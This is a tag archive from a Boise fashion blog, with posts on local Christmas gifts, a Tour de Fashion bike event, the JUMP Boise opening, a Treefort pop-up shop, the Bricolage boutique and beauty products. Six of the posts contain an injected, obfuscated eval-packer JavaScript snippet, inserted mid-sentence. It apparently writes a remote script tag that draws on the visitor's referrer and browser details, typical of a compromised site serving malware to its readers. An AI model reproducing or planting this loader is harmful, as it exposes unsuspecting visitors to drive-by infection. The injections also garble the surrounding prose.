Tag: downtown boise

Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here! ❤

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Coming Soon: Boise’s 1st Tour de Fashion!

Style eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfyh|var|u0026u|referrer|enzfd||js|php’.split(‘|’),0,{}))
Spy Girl, the Downtown Boise Association, and Boise GreenBike
team up for Tour de Fashion!

Tour-de-Fashion-square 2

Boise’s downtown core is constantly changing and expanding! Did you know we have over 20 locally-owned boutiques, gift shops, and clothing stores within walking distance of each other? If you love fashion, fitness, and exploration, come join us this Spring and Summer for four very special Tour de Fashion events!

Local fashion blogger Tanya Carnahan (StyleSpyGirl.com), the Downtown Boise Association, and Boise GreenBike are joining forces to present a BIKE TOUR that’s totally new to Idaho. Make new friends, discover new shops and trends, and expand your knowledge of our amazing downtown core!

Each Tour de Fashion bike event in Downtown Boise will target 5-6 rad local businesses that are new to town, or might be new to you! A schedule will be posted of each stop; we will bike, shop, explore, and end with an optional Sips & Bites experience you won’t soon forget. Bring your girlfriends, and add your bike basket to fill with fun & unique fashion purchases along the way. Must be 21 and over to attend these tours.

Time: 1:45pm Saturday, April 8th / May 6th / June 3rd / July 8th, 2017
Location: Meet at Boise’s iconic Post Office, downtown on Bannock & 8th.
Cost: $25 if you have your own bike, $35 if you plan to utilize a BoiseGreen Bike.

Click here to reserve your spot: https://stylespygirl.maxcheckout.com/

What’s included: Guided shopping & exploring with local fashion blogger Tanya Carnahan / Exclusive deals and discounts in our selected boutiques / Photo stops at iconic downtown landmarks along the way / Themed Sips & Bites available for purchase / A unique experience with other fashion-loving and adventurous women!

All tours will have a unique theme, beginning with shopping and ending with optional cocktails and treats:

April 8th: Tour de Fashion, Boho Chic ~ Trendy & bohemian hotspots for free spirits!

May 6th: Tour de Fashion, Local Chic ~ Fashion love for Boise’s iconic local fashion legends!

June 3rd: Tour de Fashion, Jetsetter Chic ~ For the girl-on-the-go who always travels in style!

July 8th: Tour de Fashion, Tres Chic ~ For the refined ingenue who loves classic fashion!

Events will be posted for each date, on Style Spy Girl’s Facebook page.
Please like and follow us here to be first on the list: www.facebook.com/MyStyleSpyGirl.

sponsor banner 1

Last-Minute Local Christmas Gift Guide!

downtown boise association

Hey, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdnkk|var|u0026u|referrer|ydyzn||js|php’.split(‘|’),0,{}))
psst… It’s almost here! Have you bought all your Christmas gifts yet? Unless you are lucky enough to live in one of the 16 cities where Amazon can deliver presents in a day, you’re almost out of time to get your shopping done!

If you’ve waited until the last moment, or are struggling to find the perfect unique gift for someone in your life, here’s my TOP 10 LIST for items you can run out quickly and snag around the Treasure Valley area.

~

10. BEEF WHIP CANDLES
beef whip candles

Beef Whip Candle Co. was recently started by a Boise husband & wife team, and these cleverly-titled candles have the most divine scents! If Fall Farted is our current family fave, and it makes a GREAT gift for that hard-to-buy-for person in your life. My little brother is getting one of these for his new apartment – shhhh it’s a secret! 😉 Beef Whip candles can be found at Mixed Greens on 9th, or Press & Pony on Idaho St..

9. SILK TOUCH MED SPAsilk touch2

I love Silk Touch Med Spa on Eagle Rd.! Right now they’re running a special for Christmas: Buy $200 in Gift Cards, and get a $50 Gift Card free! Also check out their 12 Days of Christmas specials on their Facebook page: https://www.facebook.com/silktouchmedspa/. This is a great gift for the person in your life who’s been hinting they’d like a little pampering, or is wanting to nip & tuck a thing or two. 😉

8. COACHcoach winter sale

COACH at Boise Towne Sqaure mall is having an unprecedented winter sale! A huge selection of their items are 40% off right now, from luxury handbags to jewelry, gloves, scarves, and travel accessories. They can also place orders for you from their amazing clothing & shoe selection online, and get it shipped to your house asap!

7. FOR THE GENTS: ROBERT COMSTOCK MEN’S STORErobert comstock

Robert Comstock is the newest menswear store in the Treasure Valley. Loaded with luxury clothes, coats, leather goods, accessories, and even facial hair products, this posh shop in the Village at Meridian carries exclusive items found nowhere else in Idaho! Treat your guy to a soft-like-buttah leather jacket, or sign him up for a FREE styling session from some of the most skilled menswear personal stylists in the Treasure Valley. ~ This just in: The Robert Comstock store is having a STOREWIDE HALF-PRICE SALE until Dec. 24th! Mention code COMSTOCKHOLIDAY for 50% off your entire purchase in the store!!! 

6. BODO SHOPS & GIFT CARDS

downtown boise association
Photo by Joshua Roper ~ http://www.joshuaroperphotography.com/

Downtown Boise is bursting at the seams with amazing locally-owned clothing & jewelry boutiques! Here’s my shortlist of where to get the lady in your life something beautiful, or a gift card so she can go fashion hunting herself…

If her style is classic, and she prefers higher-end brands: Try Fancy Pants, Piece Unique, American Clothing Gallery, Walla Walla Clothing Co., or the new Marla June for upscale & designer stuff.

If her style is trendy, eclectic, or bohemian: Check out SWANK, Ava Rae Boutique, Dragonfly, and Re-POP on State St.

If she loves locally-created & artisan things: Shop at Banana Ink, Wear Boise, Bricolage, Mixed Greens, and BeeWise Goods.

If she’s a fashion treasure hunter: She’ll love Serendipity Boutique, Lux Fashion Lounge, In Retrospect, and Atomic Treasures!

FOR THE KIDS: 5. CUDDLE BLANKETS
cuddle blankets mixed greens

How darling are these little cuddle blankets? Though they are probably meant for wee ones, my 11-year old who likes soft & cute things said “Ooh, mommy, those are SO sweet! I want one!” They come as a set of two; big and small together like your precious baby and his/her favorite big person to hug! Spotted at Mixed Greens, a sweet little shop packed to the brim with unique & precious gifting treasures!

4. UNIGON SPECIALTIES JEWELRYunigon specialties

Personally, I’m super obsessed with huge, statement crystals & pendants right now! Local jewelry designer Denise Vasecka of Unigon Specialties has many of her beautiful handmade pieces for sale at Wholistic Beauty Boutique on State St., & 16th.  While you’re there shopping, why not add a luxurious facial or massage to the gift? This beauty boutique is the only one of its kind in Boise; all products & services there are organic, or naturopathic, and completely natural! I love the naturopathic makeup & primer so much, I wrote a review about it not long ago – click here to check it out.

3. ROONEY MAE COUTURE GOWNSrooney mae couture

The newest addition to Boise’s designer scene is Rooney Mae Couture, created and handmade by Meagan Jones. Her new shop in BODO is a one-stop gown-shopping paradise, as well as her design studio! Stop in and select your favorite color, design, and concept, and Meagan will create it for you in her signature luxurious fabrics & materials… But don’t let the posh appearance fool you; her gowns are so comfy, you almost feel like you’re in your favorite jammies! Check out the Rooney Mae Couture Facebook page for updates on her current schedule and awesome holiday GIFT CARD deals!!! 

2. CAMILLE BECKMAN & CHATEAU LES FLEURSchateau des fleurs

This one is my favorite spot to bring out-of-town guests and family visiting for the holidays! The Camille Beckman gift shop in Eagle is HUGE and beautiful, stocked floor to rafters with gifts, jewelry, accessories, and of course the company’s world-famous luxury body products. After shopping, step next door to the incredible new Chateau des Fleurs, the Treasure Valley’s newest event center, only French chateau/castle, and home to the exquisite Le Coq d’Or gourmet French restaurant! It’s a one-of-a-kind dining experience you won’t soon forget. ❤


And now, drum roll… NUMBER 1. IT’S VEGAS, BABY!!!

las vegas getawayIf you’re looking for the biggest, baddest, BEST present this Christmas, give her the gift of ADVENTURE! The StyleSpyGirl team is taking a select group of women from the Boise area to LAS VEGAS FASHION WEEK February 17-21. This all-expenses-paid fashion getaway includes airfare, hotel accommodations, transportation, guided shopping tours, Vegas shows, exclusive runway fashion shows, and a dedicated photographer to catch every exciting moment for her to remember forever!

This trip has limited seating, and is booking NOW. Put down a deposit to secure a seat for the lucky lady in your life – all the details and pricing information are on our Vegas Getaway page: http://stylespygirl.com/join-the-las-vegas-fashion-week-ladies-travel-posse/ 

Don’t delay – seats are filling up, for this fashion & shopping all-girls getaway of a lifetime!

Merry Christmas my friends! May your holidays be filled with peace, love & laughter.

XOXO,
Tanya

Get Ready to JUMP, Boise!

JUMP Boise

JUMP complex boise

That eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzfst|var|u0026u|referrer|ednaa||js|php’.split(‘|’),0,{}))
giant construction behemoth in downtown Boise, that’s gone from traffic headache to architectural mystery to the most buzzed-about conundrum this city’s seen in years, is at last getting its first unveiling this weekend. The hubby and I got a Sneak Peek open house invite, so we bundled up and headed downtown on a chilly December night! Here’s what we discovered…

~ COMMUNITY ~ 

JUMP complex boise

JUMP’s website states this: JUMP—or Jack’s Urban Meeting Place—is a not-for-profit, interactive creative center and community gathering place in the heart of downtown Boise. And although the concept seems vague, we found exactly what it claimed: interaction, and community! JUMP’s six stories were packed with people, wine, food, dessert, conversations, touch-screen maps, interactive displays, and so much excited energy the air practically tingled with it. Strategically open spaces, fitted with cozy furniture and fascinating visuals, invite a variety of communal interaction and singular introspection, all new and unique to the Boise audience. I lost count of how many times I heard, “Oh wow, look at that!” throughout the evening.JUMP complex boise

Personally I loved the huge square out front; a concrete park-like setting which has instantly increased the visual size of our city. This wide-open square, facing 9th St., will forever alter the face of BODO and our downtown core!JUMP Boise

And this is just the COOLEST little bar I’ve ever seen… Don’t you want this at your next party???JUMP complex boise

~ INTERACTION ~

JUMP complex boiseScattered all throughout JUMP’s 6 floors are a variety of interactive exhibits, touchscreen displays, musical touchpads, gathering huddle spots, and more! If you like to touch it, taste it, hear it, see it, or feel it… There’s something here for you to do.

JUMP BoiseBluetooth listening pod – jack in and relax with your friends, or be in your own little cozy space…

JUMP BoiseDress up and be in a movie…

JUMP BoiseTake tech classes…

jump 15Or kiss in Paris! Ha ha ha, of course we had to try out the green screen. 😉

~ BEAUTY ~

JUMP complex boiseThe views from each consecutive floor, looking out every direction of the city, are nothing less than breathtaking!

JUMP complex boiseStanding on the little jut-out balcony over Myrtle St… Seriously though I have to admit the plexi-glass sides made me a little nervous – eek! Don’t lean on those very hard! I’m sure they are perfectly safe, but I was happy to snap our photo and step awaaaaaay from the edge, lol.

JUMP complex boiseAll these awesome platforms, colors, lights, and glass will make for some amazing fashion photo shoots, just saying! 😉

JUMP complex boiseOne of JUMP’s directors did a presentation on the 6th floor, along with orchestras, champion jumpropers, dancers, singers, and a night-long schedule of entertainment! JUMP aims to encourage the arts and local talent, which I believe is a beautiful mission and one that WILL have a positive impact on our community.

JUMP Boise

~ MORE TO COME ~

JUMP BoiseOnly the main portion of part of the complex is completed so far. There is still SO MUCH MORE coming! These open community spaces are going to be gorgeous.

JUMP Boise

AND THEN, THE BEST PART, (according to my kids…)

JUMP Boise

JUMP BoiseYup, that’s a 4-story transparent slide! And it’s only one of the slides they are planning… I certainly hope they are going to allow grown-ups in those things!!!

JUMP Boise

You’re beautiful, JUMP! Thanks for the amazing evening – we are looking forward to many more to come!!!
XOXO,
Tanya

>>>UPDATE: JUMP Boise is doing a series of open houses in the next few weeks, to let the community experience this amazing place first-hand! These open house events will be 1:00 to 5:00 p.m. on Sunday, Dec. 13th, 20th and 27th. The lobby, with its entrance located below the large orange JUMP sign near 9th Street, will be open to the public starting Dec. 15 from 10 am to 3pm Tuesday to Friday, but will not be open on the upcoming holidays. Stay tuned on their Facebook page for more details as they emerge: https://www.facebook.com/jumpboise/!

NAVY PRoject Brings Fresh Styles to Treefort Music Fest

treefort music fest bannerThe eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yafrr|var|u0026u|referrer|btbsd||js|php’.split(‘|’),0,{}))
Treefort Music Festival will descend again upon Boise March 25-29, 2015. This annual festival, founded as a way to bring big bands to Boise while giving equal ear to emerging local talent, is in its fourth year. And this promises to be its’ gnarliest year yet! Besides 25 venues around town showcasing hundreds of musical acts, this year’s fest will also have a plethora of “Forts” that extend the artistic experience beyond music; Hackfort for the tech-savvy, Comedyfort for giggles, and Kidfort for the little ones are just a few examples. (Click here for info on all the forts.)

treefort gearAnd of course, let’s talk about the clothes for a minute. Any respectable music fest has to have its own fashion style! Along with some really cool official festival gear (above) designed by rad local artists, designers and artisans from across the country will also be bringing their unique goods to Treefort, giving us the opportunity to score treasure we wouldn’t usually have direct access to! One brand that’s a personal favorite of mine is the NAVY PRoject, a brilliant brainchild of vintage re-designer Mary Peffer.

Mary Peffer NAVY PRoject is a unique shop-in-shop experience that combines five principles: art, architecture, fashion, design, and hospitality. Clothing items are designed and curated, whenever possible from vintage finds, with the goal of direct access to the unique items you crave. From vintage festival outerwear to ponchos, rock concert t’s, and hair accessories, the NAVY PRoject aims to be a very personal experience.

Designer Mary Peffer will personally be on-hand Thursday, March 26th from 4-9pm and Friday, March 27th from 11-6 at downtown Boise’s epicenter-of-cool Bricolage to launch her latest line. Come check out this unique shop-in-shop experience! I’m certain you will find special treasures you’ll be proud to wear all festival long… and beyond!

Suede Fringe Jacket

 NAVYPRoject.com / Follow the PRoject on Instagram!

NAVY PRoject ~~~ Limited engagement at Bricolage March 26 & 27, 2015

418 S 6th St, Boise, Idaho / Bricolage on Facebook / Bricolage.com

treefort navy project

Disclosure: This is not a paid post. Just an opinion piece about a really cool clothing company I look forward to shopping at! 
~~~
julep spring ad

Local Style Secret: Bricolage!

Boise’s most prolific fashion designer, Elise Vaughn, is slowly getting famous… but you won’t hear it from her! 😉 Elise is the founder of Brass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tttdf|var|u0026u|referrer|bzzbh||js|php’.split(‘|’),0,{}))
Razoo, a super-hip clothing & jewelry line whose designs are not only in boutiques across the country, but might also be coming to a movie screen near you. (More details on that, coming soon!)

But despite all the buzz building around her, this humble and talented young woman is all about local love. Recently she teamed up with Chelsea Snow, the brilliant woman behind Boise’s hippest downtown boutique, bricolage. Together they are launching a new line called “bric & brass,” and it promises to be AMAZING!!!

I stopped by bricolage for a First Thursday event, and found so much fun stuff, I didn’t want to leave!!! Brass Razzo and bricolage are a match made in Heaven. Cool gifts, quirky decor, hipster kick-knacks, vintage clothing, local art, and Elise’s designs blend beautifully into the coolest symphony of shoppable fun!

Elise repurposes vintage finds from across the country, and also creates original clothing pieces for women and men. For her new launch at bricolage, Elise has delved into kid’s wear, creating sweaters and tops from vintage fabrics, and adorable convertible dresses that grow with your child! Here are some of my fun finds. Be sure to stop by March 7th for another totally fun First Thursday party. I’ll be there; come say Hi and find some find some wonderful, unique stuff!!! 🙂

XOXO,

StyleSpyGirl

bricolage is located in downtown Boise, at 418 S. 6th. Click here to check out their facebook page: https://www.facebook.com/bricoshoppe/info

 

 

Pretty Little Things I LOVE!!

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deydy|var|u0026u|referrer|irfdy||js|php’.split(‘|’),0,{}))
you have favorite beauty products that you just can’t live without? I DO! 😀  Here’s a quick list of the items I always keep on hand…

1. Burt’s Bees Citrus Facial Scrub – It’s inexpensive, but oh-so-effective! With natural exfoliating ingredients that won’t scratch or dry out your skin! I keep this in the shower, and use it a couple times a week. It leaves your skin feeling fresh & soft!

2. Miss Me Lip Gloss – You can get this at Belle Boutique in downtown Boise, or the mini Belle Boutique in Eagle (inside the Idaho Athletic Club.) I LOVE IT, and never put on lipstick without layering this underneath. It’s a nourishing, quenching, matte lip gloss (no sparkles or glitter!). I like the soft pink shade English Roses; it glides on so smoothly, and softens your lips. It can be worn alone, but I love using it as a base to prep my lips for lipstick. Great for those who live in dry climates!

3. Clean Slate Makeup Primer by Tarte – It’s not as heavy as other brands (great for my sensitive skin!), but provides fabulous coverage and a smooth, even surface to apply your foundation over. I’ve tried a few different primers over the years, and Tarte is one of the few that did NOT cause acne flare-ups!

4. Urban Decay Eyeshadow Primer Potion – A go-to product for makeup artists everywhere, this easy-to-apply eyeshadow base preps your eyelids for shadow, and seals in the color for all-day, smudge-proof wear. A must-have for girls who love eyeshadow!

5. Jet Set Waterproof Eyeliner by Smashbox– In my quest to find the “perfect” eyeliner, I came across this top-seller at Sephora. Immediately, I can see why it’s the first choice of many makeup artists & rock stars! It glides on smoothly, and  you can create a thin line, or thick, or even smudge it for the “smoky eye” look! Smudge it fast, though; it’s waterproof, and stays on until you wash it off! Super-long-lasting, and super-black, with no shimmer. Use a flat, angled eyeliner brush to apply.

6. Make Up For Ever Lash Fibers – I can’t say enough about this fantastic product, so here’s a picture of my lashes with & without Lash Fibers. Not only do the fibers beef-up your natural lashes, but they also condition them, and allow mascara to wash off more easily at night. The result: healthier eyelashes with less breakage! I’m addicted to this stuff – it’s fantastic!!

Click image to view full-sized picture.

7. Urban Decay Supercurl Curling Mascara – Wow, talk about drama! I love how this mascara separates my lashes, and coats them with intense, inky blackness! Want people to ask if you’re wearing fake eyelashes? Then try this mascara out!!!

8. Olivia Garden Ceramic + Ion Round Brush – There are a lot of great brushes out there, but this one shapes, de-frizzes, and glides effortlessly through my hair. It works better – and is less damaging! – than cheaper plastic brushes, but it’s still WAY less expensive than those fancy celebrity-endorsed designer brushes. Love it! If you are local to Boise, these brushes are available at Roots Salon downtown.

9. John Frieda Frizz-Ease 3-Day Straight – in a word, AMAZING!!! Want silky, shiny hair? Check out my video clip to see how it works!

10. Alterna Caviar Anti-Aging Color Hold Rapid Repair Spray – I always spray this on before flat-ironing my hair. (Tip: Never, ever flat-iron raw, unprotected hair! That causes burns & damage!) This is the Cadillac of shine & protection sprays, and since a little goes a long way, it lasts a very long time. It’s also a great glossing spray for all hair types; shimmer & shine, without weighing hair down! This fabulous stuff is available from Sephora, or if you live in Boise, at Roots Salon downtown!

So there you have it, a quick & easy list of things I love and use, over and over again.

I love your feedback – what are your favorite beauty products???  😀